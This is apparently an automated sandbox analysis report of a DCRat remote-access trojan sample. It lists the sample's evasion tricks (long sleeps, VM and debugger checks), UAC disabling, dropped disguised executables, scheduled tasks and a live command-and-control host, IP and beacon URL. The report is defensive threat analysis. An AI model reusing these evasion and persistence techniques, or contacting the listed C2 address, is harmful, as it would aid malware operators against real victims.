Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe Process information set: NOOPENFILEERRORBOX
Allocates memory with a write watch (potentially for evading sandboxes)
Source: C:\serversessionmonitor\blockfont.exe Memory allocated: 18B0000 memory reserve | memory write watch Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe Memory allocated: 1B2B0000 memory reserve | memory write watch Jump to behavior
Source: C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe Memory allocated: 1060000 memory reserve | memory write watch Jump to behavior
Source: C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe Memory allocated: 1AE10000 memory reserve | memory write watch Jump to behavior
Source: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe Memory allocated: 1530000 memory reserve | memory write watch Jump to behavior
Source: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe Memory allocated: 1AFF0000 memory reserve | memory write watch Jump to behavior
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe Memory allocated: 1610000 memory reserve | memory write watch
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe Memory allocated: 1B100000 memory reserve | memory write watch
Contains long sleeps (>= 3 min)
Source: C:\serversessionmonitor\blockfont.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe Thread delayed: delay time: 922337203685477
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe Thread delayed: delay time: 600000
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe Thread delayed: delay time: 599884
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe Thread delayed: delay time: 599768
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe Thread delayed: delay time: 922337203685477
Found WSH timer for Javascript or VBS script (likely evasive script)
Source: C:\Windows\SysWOW64\wscript.exe Window found: window name: WSH-Timer Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\serversessionmonitor\blockfont.exe Window / User API: threadDelayed 1153 Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe Window / User API: threadDelayed 1011 Jump to behavior
Source: C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe Window / User API: threadDelayed 366 Jump to behavior
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe Window / User API: threadDelayed 803
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe Window / User API: threadDelayed 354
Found evasive API chain (date check)
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Evasive API call chain: GetLocalTime,DecisionNodes
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\serversessionmonitor\blockfont.exe TID: 3384 Thread sleep count: 1153 > 30 Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe TID: 3384 Thread sleep count: 1011 > 30 Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe TID: 1368 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe TID: 8064 Thread sleep count: 366 > 30 Jump to behavior
Source: C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe TID: 7748 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe TID: 7992 Thread sleep count: 300 > 30 Jump to behavior
Source: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe TID: 7772 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe TID: 7960 Thread sleep count: 803 > 30
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe TID: 7604 Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe TID: 7604 Thread sleep time: -600000s >= -30000s
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe TID: 7604 Thread sleep time: -599884s >= -30000s
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe TID: 7960 Thread sleep count: 354 > 30
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe TID: 7604 Thread sleep time: -599768s >= -30000s
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe TID: 7420 Thread sleep time: -30000s >= -30000s
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe TID: 7928 Thread sleep time: -922337203685477s >= -30000s
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\serversessionmonitor\blockfont.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Code function: 0_2_00D6A5F4 FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError, 0_2_00D6A5F4
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Code function: 0_2_00D7B8E0 SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SendDlgItemMessageW,FindFirstFileW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW, 0_2_00D7B8E0
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Code function: 0_2_00D7DD72 VirtualQuery,GetSystemInfo, 0_2_00D7DD72
Source: C:\serversessionmonitor\blockfont.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe Thread delayed: delay time: 922337203685477
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe Thread delayed: delay time: 600000
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe Thread delayed: delay time: 599884
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe Thread delayed: delay time: 599768
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe Thread delayed: delay time: 922337203685477
Source: wscript.exe, 00000001.00000003.1740625428.0000000000BDD000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: 5P9EdUgv5r.exe, 00000000.00000003.1632997233.00000000031C2000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}D
Source: 5P9EdUgv5r.exe, 00000000.00000003.1632927760.00000000031DC000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\'
Source: blockfont.exe, 00000004.00000002.1802492153.000000001C16D000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Device\CdRom0\??\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\DosDevices\D:fs
Source: wscript.exe, 00000001.00000003.1740625428.0000000000BDD000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: qwhJcOiWbbUoQMvwnJNr.exe, 00000025.00000002.1835586004.000000001C0D4000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll{Q*
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe API call chain: ExitProcess graph end node
Source: C:\serversessionmonitor\blockfont.exe Process information queried: ProcessInformation Jump to behavior
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Code function: 0_2_00D8866F IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 0_2_00D8866F
Contains functionality to read the PEB
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Code function: 0_2_00D8753D mov eax, dword ptr fs:[00000030h] 0_2_00D8753D
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Code function: 0_2_00D8B710 GetProcessHeap, 0_2_00D8B710
Enables debug privileges
Source: C:\serversessionmonitor\blockfont.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe Process token adjusted: Debug Jump to behavior
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe Process token adjusted: Debug
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Code function: 0_2_00D7F063 SetUnhandledExceptionFilter, 0_2_00D7F063
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Code function: 0_2_00D7F22B SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 0_2_00D7F22B
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Code function: 0_2_00D8866F IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 0_2_00D8866F
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Code function: 0_2_00D7EF05 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 0_2_00D7EF05
Source: C:\serversessionmonitor\blockfont.exe Memory allocated: page read and write | page guard Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\serversessionmonitor\1ogacUYksBebmJ8WSR.vbe" Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\serversessionmonitor\ovpXJB1x2XJwVqS.bat" " Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\serversessionmonitor\blockfont.exe "C:\serversessionmonitor\blockfont.exe" Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: unknown unknown Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe Process created: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe "C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe" Jump to behavior
Contains functionality to query CPU information (cpuid)
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Code function: 0_2_00D7ED5B cpuid 0_2_00D7ED5B
Contains functionality to query locales information (e.g. system language)
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Code function: GetLocaleInfoW,GetNumberFormatW, 0_2_00D7A63C
Queries the volume information (name, serial number etc) of a device
Source: C:\serversessionmonitor\blockfont.exe Queries volume information: C:\serversessionmonitor\blockfont.exe VolumeInformation Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation Jump to behavior
Source: C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe Queries volume information: C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe VolumeInformation Jump to behavior
Source: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe Queries volume information: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe VolumeInformation Jump to behavior
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe Queries volume information: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe VolumeInformation
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Code function: 0_2_00D7D5D4 GetCommandLineW,OpenFileMappingW,MapViewOfFile,UnmapViewOfFile,CloseHandle,GetModuleFileNameW,SetEnvironmentVariableW,GetLocalTime,_swprintf,SetEnvironmentVariableW,GetModuleHandleW,LoadIconW,DialogBoxParamW,Sleep,DeleteObject,DeleteObject,CloseHandle, 0_2_00D7D5D4
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Code function: 0_2_00D6ACF5 GetVersionExW, 0_2_00D6ACF5
Source: C:\Windows\SysWOW64\wscript.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings
barindex
Disable UAC(promptonsecuredesktop)
Source: C:\serversessionmonitor\blockfont.exe Registry value created: PromptOnSecureDesktop 0 Jump to behavior
Disables UAC (registry)
Source: C:\serversessionmonitor\blockfont.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System EnableLUA Jump to behavior
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Source: C:\Windows\System32\schtasks.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct
Source: C:\Windows\System32\schtasks.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct

Stealing of Sensitive Information
barindex
Yara detected DCRat
Source: Yara match File source: 00000004.00000002.1784999674.0000000003657000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.1784999674.000000000365B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000016.00000002.1870704533.0000000002FF1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000014.00000002.1870320993.0000000002E11000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000016.00000002.1870704533.000000000302C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000025.00000002.1825230562.0000000003101000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000014.00000002.1870320993.0000000002E4D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.1784999674.00000000032B1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.1790371382.00000000132BF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: blockfont.exe PID: 7076, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: qwhJcOiWbbUoQMvwnJNr.exe PID: 7508, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: qwhJcOiWbbUoQMvwnJNr.exe PID: 7552, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: qwhJcOiWbbUoQMvwnJNr.exe PID: 7900, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected DCRat
Source: Yara match File source: 00000004.00000002.1784999674.0000000003657000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.1784999674.000000000365B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000016.00000002.1870704533.0000000002FF1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000014.00000002.1870320993.0000000002E11000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000016.00000002.1870704533.000000000302C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000025.00000002.1825230562.0000000003101000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000014.00000002.1870320993.0000000002E4D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.1784999674.00000000032B1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.1790371382.00000000132BF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: blockfont.exe PID: 7076, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: qwhJcOiWbbUoQMvwnJNr.exe PID: 7508, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: qwhJcOiWbbUoQMvwnJNr.exe PID: 7552, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: qwhJcOiWbbUoQMvwnJNr.exe PID: 7900, type: MEMORYSTR
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1502154 Sample: 5P9EdUgv5r.exe Startdate: 31/08/2024 Architecture: WINDOWS Score: 100 50 a1023624.xsph.ru 2->50 56 Multi AV Scanner detection for domain / URL 2->56 58 Suricata IDS alerts for network traffic 2->58 60 Found malware configuration 2->60 62 14 other signatures 2->62 10 5P9EdUgv5r.exe 3 6 2->10         started        13 qwhJcOiWbbUoQMvwnJNr.exe 2 2->13         started        16 qwhJcOiWbbUoQMvwnJNr.exe 2 2->16         started        signatures3 process4 file5 46 C:\serversessionmonitor\blockfont.exe, PE32 10->46 dropped 48 C:\...\1ogacUYksBebmJ8WSR.vbe, data 10->48 dropped 18 wscript.exe 1 10->18         started        72 Multi AV Scanner detection for dropped file 13->72 signatures6 process7 signatures8 54 Windows Scripting host queries suspicious COM object (likely to drop second stage) 18->54 21 cmd.exe 1 18->21         started        process9 process10 23 blockfont.exe 2 20 21->23         started        27 conhost.exe 21->27         started        file11 38 C:\Windows\...\qwhJcOiWbbUoQMvwnJNr.exe, PE32 23->38 dropped 40 C:\Recovery\SearchApp.exe, PE32 23->40 dropped 42 C:\Program Files\...\qwhJcOiWbbUoQMvwnJNr.exe, PE32 23->42 dropped 44 5 other malicious files 23->44 dropped 64 Antivirus detection for dropped file 23->64 66 Multi AV Scanner detection for dropped file 23->66 68 Machine Learning detection for dropped file 23->68 70 4 other signatures 23->70 29 qwhJcOiWbbUoQMvwnJNr.exe 23->29         started        32 schtasks.exe 23->32         started        34 schtasks.exe 23->34         started        36 22 other processes 23->36 signatures12 process13 dnsIp14 52 a1023624.xsph.ru 141.8.194.149, 49734, 80 SPRINTHOSTRU Russian Federation 29->52
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
141.8.194.149
 a1023624.xsph.ru Russian Federation
35278 SPRINTHOSTRU true

Contacted Domains

Name IP Active
a1023624.xsph.ru 141.8.194.149 true

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://a1023624.xsph.ru/1ffc0666.php?D6sO3=coW9eQnQdwC&8Qdw2X=mrLKL&03ZD=Zcs&494c04091cad695e488cec836843e29b=14eed2ab8e75c30d5e3051e42b208839&97fa7d33edb300ced93fc3fe0e6b5970=gMxYzM1kzY5YmY1QWNzQTZhJjNjhTZ0QDZ2ITY3MTZjJWMmNWO5YmN&D6sO3=coW9eQnQdwC&8Qdw2X=mrLKL&03ZD=Zcs true
  • Avira URL Cloud: malware
 unknown